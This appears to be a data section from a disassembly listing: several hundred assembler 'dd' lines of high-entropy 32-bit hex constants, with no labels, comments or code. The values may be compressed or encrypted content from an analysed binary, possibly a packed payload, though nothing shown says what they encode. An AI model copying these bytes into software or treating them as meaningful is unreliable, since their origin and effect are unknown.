		dd 32D13B47h, 520FC1AFh, 80F3403Fh, 4A8F6DE9h, 2AF00045h
		dd 56D761A7h, 0AF0093DCh, 43FDDA58h, 79CC01Dh, 0DBE7FB4Ch
		dd 0BCD0803Fh, 32008029h, 8EF9EC71h, 22AAC2h, 4D42C0FFh
		dd 6C262791h, 0B8284Ch,	55B9DB4Bh, 6F6771C2h, 0A8B808D8h
		dd 89036336h, 0DD8519E8h, 98DAF2C0h, 3EABAE78h,	0A900A4F4h
		dd 0FC7DC1BDh, 73006633h, 0AE23AA07h, 0BC7558h,	6186C5DAh
		dd 0DED4E4EAh, 7DD04D00h, 758B39F8h, 92738Eh, 2F6EC2CDh
		dd 0FBB5C96Fh, 0A4CB2500h, 984C6AEEh, 817A005Bh, 5FA632E1h
		dd 0DAE69B1Bh, 0D1E07709h, 0BE3F80F0h, 39CC7EEh, 87036079h
		dd 9D982498h, 0BB3CA494h, 739F00A8h, 0EB58B18Ah, 0BDC3009Bh
		dd 0E4BADDE2h, 1B0A78EEh, 9A77D472h, 8D84CB00h,	8ABF5Ah
		dd 5735CFE8h, 2BEFAE88h, 78CE4A27h, 6D9400EAh, 0BF19EAC4h
		dd 0EB02AB54h, 33663211h, 0BAE8C0CFh, 0ED4F0097h, 0F608EA38h
		dd 0BB007BF1h, 0AD3EC8A7h, 39CFA6DAh, 0F7D17C1h, 7F1FFFB6h
		dd 0A03BC3E7h, 0DABD9535h, 0A51A1603h, 0F80569B7h, 0DFE52h
		dd 1358BF41h, 51DCF15Bh, 16C6E002h, 0E3783DBCh,	0B752A888h
		dd 2DCCA080h, 426100DFh, 7F39F144h, 0B9004650h,	717516D7h
		dd 0C1925260h, 5B209068h, 80A0ED2Bh, 9E7CA379h,	0CC6C8Fh
		dd 7F77F394h, 0B9A68598h, 48E67901h, 7AF5BB3Eh,	0E962C0h
		dd 9A443097h, 88D60C18h, 7A34548h, 0F7547314h, 63D1ADF0h
		dd 0DFB80022h, 1FA27857h, 8330AF0Ah, 0A17570BCh, 0D12A3224h
		dd 44802EA0h, 83F70774h, 1E794400h, 7F97E070h, 0B2900185h
		dd 1D395C5Eh, 409EECB6h, 5A806054h, 71C1DD02h, 80EE889Fh
		dd 0F81C6D84h, 533D00FEh, 91D42A4Bh, 5D009632h,	0D88EB48Ah
		dd 74ED0697h
		dd 59E700C4h, 78FFC543h, 0DA00526Eh, 0EC5C7961h, 799141Eh
		dd 0ADA935DEh, 29187CF9h, 21304F78h, 0E7511011h, 204800FFh
		dd 0E16CB09h, 58EAE9D4h, 7DC21C00h, 0AF42CE15h,	989D1E02h
		dd 490AD850h, 263073F6h, 23741082h, 0B719C0FCh,	5B55F93Dh
		dd 5F10F671h, 26016788h, 654FF8D0h, 730DE0B7h, 0B507E818h
		dd 0FE0988h, 0DA473A67h, 4CF189D5h, 61BD4400h, 0F633A1D4h
		dd 927454h, 0A5E2F09Ah,	0F3804BFCh, 0B59BB626h,	18B0AA0Eh
		dd 0A5B181h, 9384BECCh,	58DF548Ah, 0B9CF6D30h, 1C22D02Fh
		dd 4011B2E3h, 0F81366F2h, 0B0F7091Ch, 0C19E7C20h, 0D7C38h
		dd 0BF8EE887h, 64357B1Ch, 9A725D00h, 0BCF3A171h, 0C73F3C65h
		dd 0B11F7D8Fh, 0CE2C55E0h, 0AF585B85h, 0D1201AFCh, 65900468h
		dd 714DD220h, 0A991B760h, 9FA0783Ch, 77628D00h,	9803B349h
		dd 0A3D52167h, 0C3400013h, 3DCDC6FAh, 571EB5CCh, 0BC80074Ah
		dd 0A3A8BE16h, 765E00C7h, 8A01BBAAh, 1F00A1C8h,	0F7BD6285h
		dd 0CCCBDCh, 0E23AF223h, 0EE21CF3Eh, 2C905877h,	773DC473h
		dd 0E5DC87C9h, 589CF208h, 483E0C0Ah, 3C6945B8h,	5CFA9000h
		dd 945214DFh, 3D60EC6Fh, 1200842Dh, 56A5D330h, 0F0CF70Bh
		dd 48F3929Fh, 44910523h, 114CD61h, 0DCC1ADEDh, 3BECC82Dh
		dd 766B2100h, 0E532B40Dh, 48D0087h, 38A8EF71h, 2B071D6Eh
		dd 43D21621h, 0D1AC2783h, 9180139Eh, 86F20BEAh,	7E0EE7E0h
		dd 80A47981h, 0AF48CAEh, 47F60067h, 2B858AB0h, 0A05AFBCAh
		dd 437EA0h, 0D1BB51B9h,	0D78CCEBAh, 8B0E2900h, 0B6CBC35Eh
		dd 0F8530046h, 898384BCh, 0A1023518h, 1F3C0AA3h, 9E3F407Eh
		dd 2B36001Ah, 0F9076C08h, 0E800D945h, 4032696Fh, 0A8BA54h
		dd 298AA486h, 0C23B2E2Bh, 4A1D100h, 0C089B959h,	2734033Ch
		dd 0A4B8980Bh, 0CF36C2B8h, 1DE5710Ah, 5B70204Fh, 0BF4326h
		dd 67E3DE63h, 7861153h,	0FF3373BBh, 529FCBh, 31D3DB58h
		dd 623080CCh, 0E9D16956h, 65850013h, 0CA39C095h, 8DEC9D9Fh
		dd 78459700h, 7D143CC5h, 0DAC83CF0h, 0A17F5200h, 45BB68FFh
		dd 32F1050Ch, 9A08E1h, 0D312AB46h, 28936794h, 0DA167C00h
		dd 485B8CF9h, 0EA0C0075h, 0EE649AFDh, 0E8F326B3h, 8B28293Dh
		dd 3CE4A461h, 58922E30h, 1D367AEh, 64F92FCAh, 80E33F33h
		dd 532CDDB0h, 0F27110BEh, 0BB8330FCh, 8004C5B8h, 0EADB5F00h
		dd 0DFF21663h, 803256B8h, 0E1115E02h, 736B972h,	1AC58898h
		dd 0A3DA70F1h, 0ACA0E24Ah, 0E00B2D8Bh, 44A74Ch,	0D2796E0Dh
		dd 505800CFh, 0ED3505DAh, 0EE016A7Ch, 0F9F58953h, 4ADC4587h
		dd 304E00F4h, 0FF2A7F0h, 2E1EC572h, 62402B79h, 27358C9Ah
		dd 0E2ED2887h, 0F2D414CEh, 67E72082h, 25276484h, 0CB3D3001h
		dd 28FCC273h, 1F8802D5h, 85C1FF9Ah, 444DD0A0h, 0BB00B0D4h
		dd 62F5C48Ah, 30FDE840h, 9A08E3E2h, 810080EAh, 964F57A9h
		dd 3032DD77h, 0D441F0B8h, 1903E930h, 545D69B4h,	9B50B0BCh
		dd 6B410399h, 0A414B908h, 0B872A3E8h, 327E5500h, 4C2FDF47h
		dd 0B4FA00E6h, 9824274Ah, 0DE00597Dh, 85F3656Ah, 382A057h
		dd 8DC8D7BBh, 86001F7Eh, 0AA10B203h, 0C459B51h,	44501A95h
		dd 1DECBD88h, 0BB24C700h, 0C2D9A790h, 81A50040h, 6F569714h
		dd 0D0C0959Bh, 5083B324h, 9D760066h, 535FC9F4h,	0B600AE31h
		dd 0A1149574h, 38CE26Dh, 80123FADh, 72C0D51Fh, 37004879h
		dd 0D8D26505h, 3AA83457h, 6900F306h, 979F1E2h, 880005B2h
		dd 49027DC1h, 0C233325h, 39144DD0h, 9200D618h, 9E988B34h
		dd 7E911535h, 9405005Dh, 0FED2DEE6h, 9607A388h,	7A78B233h
		dd 0FBF02127h, 3BB0742h, 0C7D2F46Bh, 4000920Dh,	0FEA42D69h
		dd 0F4AF948h, 26FA5DD0h, 2B374BC0h, 84056D7Ch, 0EB4CBBFBh
		dd 3FF1880h, 33FE0F3Bh,	5EA7C0DBh, 25A05023h, 5B0080B5h
		dd 16206F8Ah, 7B199E9h,	8ECF69E8h, 5844038h, 103494Dh
		dd 0FD418937h, 5718011Ch, 0E885D7E3h, 8EF9E4B2h, 1D9D3300h
		dd 0EF98BFF0h, 113500DFh, 2A63EB3h, 0F20015ACh,	71FC14E9h
		dd 77B8561h, 6FA07903h,	0DB52F0B0h, 1A0FB8C2h, 4038EAE6h
		dd 704B0FEBh, 0E5050034h, 84495375h, 3600119Fh,	6F8662E1h
		dd 7C779290h, 1C00646h,	109BDA39h, 445DCF1Bh, 48701F18h
		dd 0B6A78047h, 0E294583Eh, 0DA431001h, 0E42AE7AEh, 40804BD9h
		dd 78FD669Bh, 2C036446h, 0EA2D7667h, 0FC0EA9F9h, 0CC101880h
		dd 8829C65Ch, 603E2100h, 0BE11BC98h, 0E30E0072h, 0AB91C06Bh
		dd 0E13CB3FBh, 776C0074h, 27643E7Eh, 679E0086h,	0A1AEF1C2h
		dd 3300AC57h, 26284D14h, 50625Dh, 0A7C0D6D2h, 0F9EEC553h
		dd 0D0F73Ah, 1836D788h,	86F662h, 16EDC94Fh, 2611925Eh
		dd 17A5DE01h, 7FBC4BDAh, 7494F8h, 6D5C1AF0h, 0E67DA354h
		dd 864D0338h, 1F0158BCh, 0E0880022h, 7A84F7A8h,	0F403B632h
		dd 0DCE2C6ABh, 68F6003Dh, 0FFFDD603h, 19007CF9h, 74CDCB47h
		dd 0E83BCC51h, 852E306Ch, 9135FEC4h, 0B74C8828h, 0C7FD3A03h
		dd 0F0D8501Bh, 41062Bh,	262245B1h, 71082A2Ch, 0F48F4405h
		dd 0DA8097E9h, 0D0484Fh, 4ACE6D31h, 1700C57h, 0A8525900h
		dd 60D52980h, 0B28104E7h, 0BF1EF86Ch, 3B755000h, 98FED4EBh
		dd 0AC0807D9h, 3097FD06h, 0A5497F09h, 7113B201h, 7BEB2560h
		dd 0B602F340h, 5DCE1494h, 5038C6DDh, 0CCA57580h, 8C461808h
		dd 0D11F6871h, 7FC1AEA4h, 2AC7E325h, 4514F4h, 7682DCB3h
		dd 9A2E92FDh, 781D3Ch, 0F2E5F703h, 0D5B7C0h, 0D9675657h
		dd 0BBD4B372h, 0E25AD000h, 31DD3B4h, 1E173A4Ah,	475DA300h
		dd 0CBF1221Fh, 0E4096B03h, 0D8CCDD9Dh, 0C148FDh, 85AEA6E9h
		dd 3FAA275Bh, 1243FC07h, 0A770BD90h, 959E5D2Ch,	1DB0CA43h
		dd 4E00FCC5h, 1BB923B1h, 1ADF79Dh, 7B768997h, 0F8E7F929h
		dd 0E1F2A5DDh, 0DF181E04h, 2C83ECA6h, 21C8889Eh, 33F20AE3h
		dd 9B527Ah, 94E170C2h, 4E07C99Dh, 0ED663A0Fh, 4850C4F7h
		dd 3CD33F1Dh, 0C180CC80h, 1578731Eh, 0A21C5E6Fh, 92805951h
		dd 400FD601h, 0E205002Ah, 23E866C6h, 5E02AAACh,	0DB1D6CDCh
		dd 193960C7h, 0BD590026h, 0CBA8A31Fh, 5F735E71h, 399BAE24h
		dd 25374207h, 0F77901E9h, 1CD1FC52h, 1C529F4h, 51287F0Dh
		dd 60C920DAh, 77EA5417h, 9240E100h, 0A9EB1BEAh,	56E700A0h
		dd 0BA35E963h, 75EAC50Bh, 6DA4F600h, 34BF2A48h,	7AEFEB8h
		dd 2117BD62h, 67336047h, 95039EBCh, 7C757ACDh, 2806B830h
		dd 232C0085h, 65676C6Eh, 99004BDEh, 50F26F5h, 0E05043h
		dd 0C2193F22h, 57A038D4h, 0BB544900h, 29A6F2FEh, 3F7D006Ah
		dd 8B84858Fh, 0AA001401h, 0EB4A71DAh, 0B08E9Dh,	6FB34E12h
		dd 54728BAEh, 0E32C31Dh, 1BA94C42h, 63944042h, 0EDB60326h
		dd 12DD0F6h, 0FD4D48D0h, 6AE41300h, 5BE7DE9Dh, 809700BCh
		dd 0D408820h, 710EE652h, 80D0DC23h, 72AE9C38h, 16A81F25h
		dd 0F470879Dh, 9EC28093h, 63005F51h, 8CBB48BCh,	0ABD414h
		dd 21FB77A2h, 0A6760CBAh, 0E1A5F500h, 0F6F1B74Ch, 0B09D009Eh
		dd 81BE8757h, 0FE0002BAh, 30DB2FFh, 96E610h, 0A3139CA7h
		dd 0C63C3D93h, 3365BF01h, 0EB3A7A17h, 0E26FCE8h, 7F85EA98h
		dd 1BA601A0h, 0A200AA23h, 582DB6F6h, 1C775343h,	7A5F30Dh
		dd 0D0934B26h, 73AD590Fh, 5D747C07h, 3E3033D0h,	1C8AB2Eh
		dd 61E08FF5h, 81E85BA0h, 6B4FA1E0h, 1CD33FF6h, 0CF92E2B0h
		dd 0CB40DA18h, 9FA1C199h
		dd 478BE00h, 856EB433h,	76B8007Eh, 944C4F87h, 2A24984Ah
		dd 0C1000FFCh, 0D853AE83h, 0D7161E4Bh, 0D1A0001Dh, 21CB7FB1h
		dd 3D54A924h, 0F4056102h, 0CD044055h, 78DC0018h, 9009492Fh
		dd 0BE391B3Ch, 0F20D0070h, 26051CC3h, 676E00ACh, 2BA54110h
		dd 0A0EC3621h, 41BD3A30h, 80525A4Ch, 4000D464h,	9ED376F7h
		dd 0A03B4EDAh, 267323B0h, 3D74A774h, 549C92B8h,	120680C5h
		dd 78EF932Bh, 696B7501h, 0F1E943E1h, 0BABE00C3h, 4B48300Fh
		dd 0EAB0862Ah, 0EEF05C01h, 8D474476h, 6DC62C1h,	2A8F00FFh
		dd 23140A31h, 0EB0019F7h, 7EDE6673h, 58A4EFh, 4C285E40h
		dd 0FF4A539Dh, 0FB15010Eh, 60C0AEC2h, 0D2F3FDAAh, 0CEC107DCh
		dd 0C3D87CCFh, 2DBBA8EBh, 44625C0h, 0DA923A00h,	0E89EBBF8h
		dd 7A10057h, 7CCEC584h,	360381B7h, 2C62B4F5h, 61C7A9DAh
		dd 46B0F0h, 52714BF9h, 8B403B67h, 22F04A00h, 5DAA6CC1h
		dd 585000D3h, 554B7AA8h, 5B0E2921h, 0C0FEF9FDh,	39B90CD1h
		dd 0CDC90064h, 0DDDF199Bh, 0A600F4ECh, 0B18BFC90h, 2B80DAh
		dd 0DB13D97Fh, 25220D08h, 0C55AD300h, 0BE7D201Fh, 0BA5E0198h
		dd 7B73141Eh, 7E0D6005h, 1282D03h, 0D01FD42Fh, 7F5BC4F7h
		dd 53EE00F6h, 25E986DCh, 8100AFB2h, 3A5C36A1h, 5D49232h
		dd 3E68572Eh, 0CA3B8088h, 161D6747h, 0F08FB542h, 0F0663FCFh
		dd 0B89A3300h, 18D51B6h, 0A3A4DFB7h, 0C4079163h, 8E00D41Ah
		dd 0F080EB6Dh, 58314Bh,	691E2204h, 0FE524F08h, 5B639700h
		dd 1C30E6C6h, 0BA3601D5h, 4F17E4B4h, 0E0CF405h,	0A6200200h
		dd 3C432E99h, 80B70058h, 0FCDDE6FBh, 38070876h,	2D7904CEh
		dd 1C250B70h, 0F7213EC2h, 6304DE3Ch, 90659586h,	49333714h
		dd 7903E40h, 4130DAC4h,	0E469F099h, 0D20027C9h,	98CE801Fh
		dd 0BD8304h, 0D6E2BBABh, 4065A96Eh, 51D0B700h, 0CAA86FFFh
		dd 3B4A002Ch, 0E8FEFB11h, 1700CF22h, 0FAFAB61h,	485424B3h
		dd 2D00FC9Ah, 39B5BFA0h, 2C005F3Fh, 3590B676h, 17BB44h
		dd 3CB4988Ah, 2088C547h, 31CC3409h, 4EE000BAh, 26365274h
		dd 460E71h, 49922DE1h, 0AC49E407h, 7A800EECh, 806A040h
		dd 2CF4332h, 334DF2F7h,	9CEA92B9h, 5BC18048h, 702B3000h
		dd 3E8920B2h, 9C920024h, 0DA78E6B0h, 0D3001143h, 2DD49FB9h
		dd 1A9B1Bh, 0F65F7398h,	2C5227BAh, 0A5C21202h, 6083FCAAh
		dd 8608BCh, 62F79B22h, 2710A9C1h, 880065F4h, 170F3971h
		dd 63F454h, 32F59F49h, 70EB3C46h, 0E3490190h, 0B88C0024h
		dd 0DDBCC00Dh, 0E9DA00C9h, 0E0D97177h, 2E1FC53Fh, 33812125h
		dd 82448CB7h, 182B7220h, 0B47F9801h, 0D73AFAE3h, 0E87600ACh
		dd 0D307ADA7h, 87DD00C1h, 67972236h, 0B5026F89h, 92706201h
		dd 209CC052h, 0F7C00074h, 364BE126h, 90C2B30Bh,	0C0F543A8h
		dd 0EE88EFh, 0B697A2EBh, 0B4D1A1D7h, 18A8F13Ch,	0BA2074A0h
		dd 2BED0039h, 0E6F849DCh, 78001B6Dh, 615F104Ah,	0E0A334AEh
		dd 5DCE5C28h, 0CA198403h, 0DFA89C31h, 64679F0Ch, 24E14249h
		dd 68802B89h, 0DB6BCEE6h, 34E826C0h, 5A61450Ah,	0CF0450FFh
		dd 4B4074A1h, 0B9DC9C02h, 0D20033F4h, 0B3F51B5Bh, 185DE119h
		dd 28F991D4h, 9938E563h, 0CE318196h, 39F347D1h,	3E08A4CCh
		dd 7ADDDE0h, 860E525Eh,	80EB2BFEh, 62DFE1DCh, 0BAC5030Ah
		dd 7BAF27FAh, 4DC51D5h,	0C89900FEh, 0B5FC6E52h,	53EC0005h
		dd 0FFAECEF2h, 0E70AC7B1h, 84AA8146h, 54DC3007h, 0F3A88C0h
		dd 21E9F8h, 2D49E0D7h, 8A34AD16h, 564CB362h, 5F19F912h
		dd 2241E402h, 8022C378h, 24545907h, 838A0h, 123E9BBFh
		dd 18C4FEAFh, 0D02178E0h, 8418418Bh, 5070081Ch,	42CC0C8Ah
		dd 0F92B1439h, 5B880824h, 5F1586D1h, 0F42119ACh, 443B065Ch
		dd 0D0544992h, 69509D0Ch, 3250FC18h, 0B5329030h, 0A2803196h
		dd 84607460h, 8F317824h, 0E44841FDh, 14245E39h,	2118F836h
		dd 66098EF0h, 209C1011h, 0B02A4482h, 116B1822h,	0EC30517Dh
		dd 50C4082Eh, 42281824h, 88832143h, 0D1004414h,	0D28F879Ch
		dd 55CA0AC5h, 40C2033h,	46D3DEE7h, 1F03FEFh, 0DC4A03BBh
		dd 24453B31h, 9E009600h, 277EF8B5h, 0D3EF0h, 0D62941B3h
		dd 7236E652h, 7D75E800h, 1DE0AA80h, 4A54042Ch, 97179E1Ch
		dd 0E08B0724h, 0FEB397A1h, 0C5BE9212h, 33101041h, 189C2641h
		dd 0FCA600C4h, 9C86898Eh, 0CBE5ED0Eh, 599A242Fh, 6C500490h
		dd 0A91C1271h, 4E5040FDh, 3A92C314h, 0FF03720Fh, 0C58603C2h
		dd 4C0CE045h, 0C94E6098h, 1B31D0Fh, 0A01C8C52h,	649A111h
		dd 3566A0E8h, 0EF01B113h, 2C481D76h, 0ED5449Eh,	32EA424h
		dd 0FDF4661Ah, 99DB0AEEh, 9E755800h, 89F1210h, 52FA00E1h
		dd 15BAB750h, 79089C69h, 2DDD9Ah, 24659B42h, 0D8C0F906h
		dd 0D8593F48h, 63BC2A1Fh, 0DB200614h, 0C0A7F593h, 46690F60h
		dd 0ACC354h, 967B58CBh,	2DCC3916h, 4AC0E354h, 37A38213h
		dd 0D4031000h, 0C51F57h, 72F2E13h, 614639C4h, 0AEA62D03h
		dd 12911277h, 3848EB8h,	5D372FFCh, 0C4E1B098h, 3D00D072h
		dd 78D32281h, 302A700Dh, 0E368627Fh, 3001F204h,	9E23C153h
		dd 0B830C56Eh, 9268A8E7h, 0DE80C8D7h, 0B4DC9C79h, 716300DDh
		dd 1730C594h, 0A23AE85Bh, 5E0503FDh, 91F6346Dh,	0F2C91ADEh
		dd 0E92E9840h, 661D1472h, 8600C85Eh, 19408E7Ah,	0F7B5B5Ah
		dd 91006098h, 7C747FA4h, 30518C8Dh, 93B827F3h, 37044FFAh
		dd 73B2CB7h, 2501890h, 93C0C7C4h, 0A074CE2Fh, 1DD8037Eh
		dd 0E8248579h, 859211A9h, 1E2B5019h, 0C6388470h, 0B4DD12C5h
		dd 93584302h, 0A6D04109h, 0FBE4B548h, 11034892h, 0E0872DD5h
		dd 63512404h, 4BBF607Ch, 0FC90BC6Fh, 0F06BD5FFh, 1E13ED22h
		dd 0C841E99Fh, 34961D7Fh, 822ED441h, 31C292FCh,	0F9514E11h
		dd 8408A0E4h, 0EFB83102h, 0C0280AE6h, 9941F6h, 0B221AA7h
		dd 0C274B688h, 9B8EF6C0h, 6002E32Eh, 833738F8h,	0F01C4AD8h
		dd 6C4024C2h, 61180C8Fh, 0C4E0C013h, 12BE2060h,	0D4518D00h
		dd 435833A0h, 19D4A0C0h, 0D8DD5476h, 0F5A3003Ah, 0BD66C2FDh
		dd 7D262F06h, 301E084Eh, 7BB1E830h, 0DDD9098Eh,	74038FC2h
		dd 0BEF239D0h, 1499EC81h, 0D8DC60A8h, 11C14205h, 0FCA04ED2h
		dd 1C610064h, 59709189h, 18575207h, 8881A30h, 90301A3Ah
		dd 5401221Ch, 24B6E8DEh, 8F48F7DDh, 37A3D545h, 0A9E07221h
		dd 4F00DE35h, 9E1AABF6h, 484C3B39h, 96009C6Bh, 0FEF5BEDCh
		dd 0F67E9480h, 48A89E5Ch, 0A7D410h, 75048E2Dh, 0ECEDA035h
		dd 249C16D7h, 0C7C0431Ah, 904842B3h, 0E4D00C4h,	0ADA8E5B8h
		dd 3E9009A9h, 10B0C2CEh, 6804E010h, 0D97730BFh,	0D19B08C0h
		dd 0CE10092h, 0C3C554A2h, 0CF00B690h, 0F66408E8h, 26795631h
		dd 70A8FEA7h, 2449567h,	0A063041Ch, 8A4075E0h, 9C890750h
		dd 17E1F033h, 4840A888h, 35CB3CEh, 63F3B779h, 0AFC0FBD0h
		dd 0EB006AE2h, 2F024ADh, 3D46254h, 0D66F88EDh, 0BD900CC2h
		dd 44B063A2h, 0DD858C07h, 305BF86Ch, 3AF33048h,	0F9015FDAh
		dd 7A6E22Ah, 8898C3A0h,	0B05DC086h, 93E91470h, 5A451158h
		dd 0D62A5003h, 0E873D5FDh, 0A74A7503h, 0C233CEC0h, 277242B9h
		dd 128726F8h, 4B5D2941h, 0ED3ACC50h, 8AF43EE6h,	0C1FA2E05h
		dd 89AC9006h, 18F8F51Dh, 5E6F310Ch, 44553127h, 260045EAh
		dd 7235B6A0h, 4A711CEDh, 0CCCC5E06h, 0DB79EED8h, 0FDF30400h
		dd 0E9E2BCE0h, 740B6A6h
		dd 70354B9h, 0A10B7050h, 70990901h, 0F4733903h,	509DA731h
		dd 0A0C7BE0h, 0EEFB8EB6h, 0C5498808h, 48F35960h, 1C89001Bh
		dd 0F2F6B482h, 0BE1DB5D0h, 4A13BF7Fh, 0E7682047h, 0B6C37190h
		dd 0FF16012Ah, 0A5396302h, 4819ECA1h, 2B1AE800h, 2201B7D2h
		dd 50289489h, 0B10C4B0Dh, 19F2A3A5h, 0EDD62603h, 87642CBFh
		dd 0B0FF9CAAh, 2FE84707h, 0E08DC12Ah, 6F748F00h, 770FFE3Fh
		dd 0C09B172Eh, 10804305h, 0ACF029E8h, 1D00FA5Ah, 0FC47F60Fh
		dd 1239D386h, 70F7063Ch, 6237D020h, 26445F09h, 0D5782716h
		dd 9009B1B2h, 1CEAC8h, 0F015DF42h, 846228EEh, 29E2C61Eh
		dd 0C8860B1Eh, 0C8FFE7h, 780C5667h, 3FA0536Fh, 9750B060h
		dd 8E1E08h, 10BDD217h, 348CC9B4h, 0F9001A78h, 0B9A841ADh
		dd 297988B1h, 0A302904h, 86BC22D6h, 91748569h, 6533F600h
		dd 0C8C1054Dh, 597A10B1h, 0AB5700FBh, 0A80B9920h, 890F7h
		dd 2D2F0813h, 0E69B857Ch, 1474BB00h, 79C96978h,	3D30038Dh
		dd 864A7721h, 0D14E9F98h, 0BDEB6539h, 0FBAE80C1h, 0EF0CC016h
		dd 0A8093C32h, 682D2B83h, 4CD0A645h, 0A000B83Fh, 14DDFBE1h
		dd 0F94A81h, 194F7CB5h,	38B1702Dh, 103D03E8h, 0EB13005Ch
		dd 4EAF28C7h, 0C05007A9h, 53715191h, 77E8A381h,	6F0E7D7Bh
		dd 0F594E7h, 123D01B1h,	292503BAh, 880F69DDh, 952ECDE8h
		dd 16CB2200h, 0D17D40F4h, 0A3ECA0E2h, 69123AE3h, 737CE90Eh
		dd 0DF1DF940h, 2C001F09h, 6B4057C6h, 6C1886h, 5D049C63h
		dd 907BCDFCh, 8C586A00h, 887DE977h, 0C8F9078Fh,	4044230Dh
		dd 924F3481h, 291FF000h, 0CA8270C2h, 0D590007Ch, 0AEF69A87h
		dd 0C174E198h, 56F5B700h, 7ED399C2h, 69A80005h,	5DE5CE8Ah
		dd 0E9E26F54h, 40171F2h, 12FA7FD3h, 0F06FB487h,	8C3AA71Eh
		dd 4C007CF1h, 564E8F63h, 0B0EC96h, 0CBF69701h, 19D6A4BFh
		dd 0DD5E2B0Ch, 729387Fh, 8E91FD2h, 0C6C00FC4h, 0D3051506h
		dd 0B900D7F8h, 4B8059EBh, 2395CDh, 0D93DA9CAh, 2BEC2FE7h
		dd 42E19603h, 983627C4h, 29C76Bh, 0A9BF121Eh, 0D6AB33E4h
		dd 0CC25F700h, 962D9C18h, 8CA100A6h, 0EF4790B6h, 0B30DC926h
		dd 98F2DB30h, 7198C8B0h, 0F501A1B5h, 868BDCC8h,	7080CA85h
		dd 1C76E0B0h, 4D009135h, 0C3252DDAh, 60A058D1h,	6166D044h
		dd 19019250h, 8E8F5FDBh, 68D14BF5h, 0A5402180h,	0A9118550h
		dd 0B2BDEB00h, 0D4439678h, 0E2E6188Bh, 9DB788E7h, 0C000CB70h
		dd 5E549C3Eh, 3E5CA1Ah,	55099720h, 92B09E5Dh, 6A00AE9Fh
		dd 3C345F39h, 62DAAh, 3F8948ADh, 2875C613h, 80384500h
		dd 49270F15h, 396D0009h, 20D57F14h, 2107C03Ch, 85942878h
		dd 0F3D7E240h, 7B7EEAh,	14391E0h, 0E934DDA2h, 0ABE35200h
		dd 0A9D8219Dh, 18850AB9h, 4018E4BCh, 3D9573BFh,	85348E21h
		dd 61E4CAB8h, 1CDE4A2Ch, 94300318h, 400C596Ah, 0F6B20815h
		dd 58558730h, 10C6BCB2h, 40732F8h, 347A196Dh, 64287945h
		dd 5D7C2282h, 219E4200h, 55ED0258h, 38FF62B8h, 68B9CAB9h
		dd 16EBC965h, 0F1382B39h, 0E38A9D30h, 0E279888h, 6A816158h
		dd 0D13BAE99h, 0A9C4E19h, 34D4D625h, 0CBD87841h, 8E8440A0h
		dd 54A3B068h, 1DD8181Ch, 0A55E187h, 0C130CE45h,	188AAEC5h
		dd 0ECA629B8h, 72604C18h, 68495D29h, 3E2C1805h,	13E7B005h
		dd 0BC1A9807h, 0D579D48Ah, 5F83858h, 996D3DB9h,	39B80103h
		dd 26848154h, 0C4D89010h, 8606C071h, 0E400783Fh, 2EF85547h
		dd 28F96AE0h, 0AACC489h, 58BC7A06h, 68F55048h, 5185E845h
		dd 68F47738h, 47422280h, 82983160h, 0D9016D26h,	18419F5Ah
		dd 58D0A310h, 109BFD1Bh, 0CCB31857h, 15B81018h,	926159E8h
		dd 55EA1430h, 0D5F3D0BCh, 5090EB92h, 0EE028A78h, 0A7A1B96Ah
		dd 7C48C341h, 0F95F28F8h, 0B6C2880h, 304348A4h,	2C47C53h
		dd 401484AEh, 0B27FD82Ch, 9263B854h, 7223F9D0h,	352F24B0h
		dd 0A01173A0h, 0B8C674ADh, 3809380Fh, 1E4088BAh, 0C6DA158Ch
		dd 1883A434h, 0B801150Eh, 5832C3B6h, 0F427CE5Fh, 4EC07184h
		dd 5CFB3D42h, 0D6D50048h, 0F0170148h, 0A2590CD8h, 0C51074A3h
		dd 2E9E2800h, 114E1A7Ch, 0DCEB030Eh, 8BC6386Fh,	0D0C5CFA1h
		dd 0A252B0EFh, 6CBF0024h, 0FD03CD65h, 0CCB10552h, 610F8B39h
		dd 0F4A1E338h, 60C0767Eh, 8A54B0D1h, 0D96C298Fh, 0CAAD0114h
		dd 87C650A8h, 79077150h, 607073C5h, 323E025h, 914E1B9Eh
		dd 53E07F73h, 160AFCFEh, 18D3F713h, 718C6740h, 31C040F8h
		dd 16FEB402h, 0FF07D3h,	8F8B1D1Eh, 8A6A570Ah, 27C3202Fh
		dd 8D5E814Bh, 0AA475100h, 0E2931608h, 0A38238FEh, 807E4F8Bh
		dd 91066C94h, 932FEC72h, 0DDF12840h, 8FA88580h,	0BE0045CAh
		dd 0AE8B60B5h, 0E47A8707h, 0E710F6ADh, 0E7B6Dh,	0D599525Ah
		dd 0A3B3944Ah, 59D9DF00h, 13CE8B67h, 30400E38h,	90835A55h
		dd 0F0C05EF8h, 1CA419EDh, 1E1D8F07h, 8CB03E42h,	1F04D76Eh
		dd 3AC46DE5h, 0E188D2Bh, 4E66F9CDh, 8E309898h, 0A70682Fh
		dd 0C14A426h, 0EAD2A329h, 0B6292E91h, 8503100Fh, 8E8F7389h
		dd 3B4E0078h, 720DE7ABh, 0CD29E460h, 518F28E0h,	0F011AF69h
		dd 61D3EE01h, 4CB1EDE4h, 0B00CA22Ch, 28753610h,	57AA0A0Eh
		dd 0C0500DE5h, 47351DC2h, 0C3B08E54h, 28F6892Bh, 139BE781h
		dd 0A8873B57h, 0A3C787CEh, 300125CDh, 1C011F2Dh, 10BA4F0Dh
		dd 70267A18h, 2DE83E0Eh, 1A0DD57h, 0A3397DD6h, 0B840597Ah
		dd 334037F3h, 5E8126B0h, 5C8D4000h, 0EF6DE485h,	0ADE70ACCh
		dd 402438B3h, 725686B1h, 2CC48B54h, 1F803043h, 899B49ECh
		dd 59B028C0h, 3ACFFB69h, 4F12762Eh, 0C680073h, 0CAF1804Ch
		dd 0D9B7B600h, 17345221h, 1C4D0010h, 63C0EFD3h,	8615F003h
		dd 118015Eh, 9D5C298Dh,	0C7212DE7h, 609D6AF9h, 183A95AAh
		dd 0C1E200DEh, 1735962Eh, 0CB405077h, 1CE774B9h, 21741FEFh
		dd 8DBF89h, 3A736A06h, 0AE2EE30h, 77256FFBh, 97EF4314h
		dd 3551BD9h, 0C8529890h, 4FE900AFh, 60742FFBh, 0ED29CEFEh
		dd 0E3051C6Dh, 4804A45Ch, 5C836070h, 0CF093D2Fh, 0E62E3862h
		dd 0C8626498h, 372C6E18h, 4C5FD0F8h, 0CB078C23h, 0C00F8A83h
		dd 0A86F2514h, 0CF366B06h, 3A18FE5Ah, 3AE07352h, 8DEFCDCAh
		dd 0E52617Dh, 6F888294h, 0B07C8004h, 0E25E93Eh,	5A94EBCFh
